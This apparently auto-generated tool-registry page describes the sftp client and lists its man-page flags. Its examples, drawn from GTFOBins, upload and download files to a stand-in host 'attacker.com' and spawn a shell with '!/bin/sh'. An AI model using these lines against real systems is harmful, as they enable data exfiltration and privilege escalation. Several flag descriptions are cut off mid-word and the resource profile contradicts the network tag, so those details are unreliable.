network enabled community medium v1.0.0

sftp

SSH File Transfer Protocol client; can transfer files and spawn shells Can also download files, spawn an interactive shell, upload files.

📋 Live Preview

sftp

sftp

Sandbox: execFile · Timeout: 30s

Capabilities

network.transfer.download

security.privilege-escalation.shell

network.transfer.upload

Parameters

Name	Type	Required	Default	Description	Aliases
`flag-4`	string	No	-	Forces sftp to use IPv4 addresses only	`-4`
`flag-6`	string	No	-	Forces sftp to use IPv6 addresses only	`-6`
`flag-a`	string	No	-	Attempt to continue interrupted transfers rather than overwrit-	`-a`
`flag-B`	string	No	-	Specify the size of the buffer that sftp uses when transferring files. Larger buffers require fewer round trips at the cost of higher memory consumption. The default is 32768 bytes	`-B`
`flag-b`	string	No	-	Batch mode reads a series of commands from an input batchfile instead of stdin. Since it lacks user interaction, it should be used in conjunction with non-interactive authentication to obvi- ate the need to enter a password at connection time (see sshd(8) and ssh-keygen(1) for details)	`-b`
`flag-c`	string	No	-	Selects the cipher to use for encrypting the data transfers. This option is directly passed to ssh(1)	`-c`
`flag-D`	string	No	-	Connect directly to a local sftp server (rather than via ssh(1)). A command and arguments may be specified, for example "/path/sftp-server -el debug3". This option may be useful in debugging the client and server	`-D`
`flag-F`	string	No	-	Specifies an alternative per-user configuration file for ssh(1). This option is directly passed to ssh(1)	`-F`
`flag-f`	string	No	-	Requests that files be flushed to disk immediately after trans-	`-f`
`flag-i`	string	No	-	Selects the file from which the identity (private key) for pub- lic key authentication is read. This option is directly passed to ssh(1)	`-i`
`flag-J`	string	No	-	Connect to the target host by first making an sftp connection to the jump host described by destination and then establishing a TCP forwarding to the ultimate destination from there. Multiple jump hops may be specified separated by comma characters. This is a shortcut to specify a ProxyJump configuration directive. This option is directly passed to ssh(1)	`-J`
`flag-l`	string	No	-	Limits the used bandwidth, specified in Kbit/s	`-l`
`flag-o`	string	No	-	Can be used to pass options to ssh in the format used in ssh_config(5). This is useful for specifying options for which there is no separate sftp command-line flag. For example, to specify an alternate port use: sftp -oPort=24. For full details of the options listed below, and their possible values, see ssh_config(5)	`-o`
`flag-P`	string	No	-	Specifies the port to connect to on the remote host	`-P`
`flag-p`	string	No	-	Preserves modification times, access times, and modes from the	`-p`
`flag-q`	string	No	-	Quiet mode: disables the progress meter as well as warning and	`-q`
`flag-R`	string	No	-	Specify how many requests may be outstanding at any one time. Increasing this may slightly improve file transfer speed but will increase memory usage. The default is 64 outstanding re- quests	`-R`
`flag-r`	string	No	-	Recursively copy entire directories when uploading and download-	`-r`
`flag-S`	string	No	-	Name of the program to use for the encrypted connection. The program must understand ssh(1) options	`-S`
`flag-s`	string	No	-	Specifies the SSH2 subsystem or the path for an sftp server on the remote host. A path is useful when the remote sshd(8) does not have an sftp subsystem configured	`-s`
`flag-v`	string	No	-	Raise logging level. This option is also passed to ssh	`-v`
`flag-X`	string	No	-	Specify an option that controls aspects of SFTP protocol behav- iour. The valid options are:	`-X`
`flag-1`	string	No	-	Produce single columnar output	`-1`
`flag-a-2`	string	No	-	List files beginning with a dot (`.')	`-a`
`flag-f-2`	string	No	-	Do not sort the listing. The default sort order is lex-	`-f`
`flag-h`	string	No	-	When used with a long format option, use unit suffixes:	`-h`
`flag-l-2`	string	No	-	Display additional details including permissions and	`-l`
`flag-n`	string	No	-	Produce a long listing with user and group information	`-n`
`flag-r-2`	string	No	-	Reverse the sort order of the listing	`-r`
`flag-t`	string	No	-	Sort the listing by last modification time	`-t`

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

Resource	Value
CPU	low
Memory	16 MB
Network	none
Disk I/O	low

Examples

Download files

sftp user@attacker.com
get /path/to/input-file /path/to/output-file

Spawn an interactive shell

sftp user@attacker.com
!/bin/sh

Upload files

sftp user@attacker.com
put /path/to/input-file /path/to/output-file

Documentation

sftp

sftp is a command-line utility. SSH File Transfer Protocol client; can transfer files and spawn shells Can also download files, spawn an interactive shell, upload files.

References

GTFOBins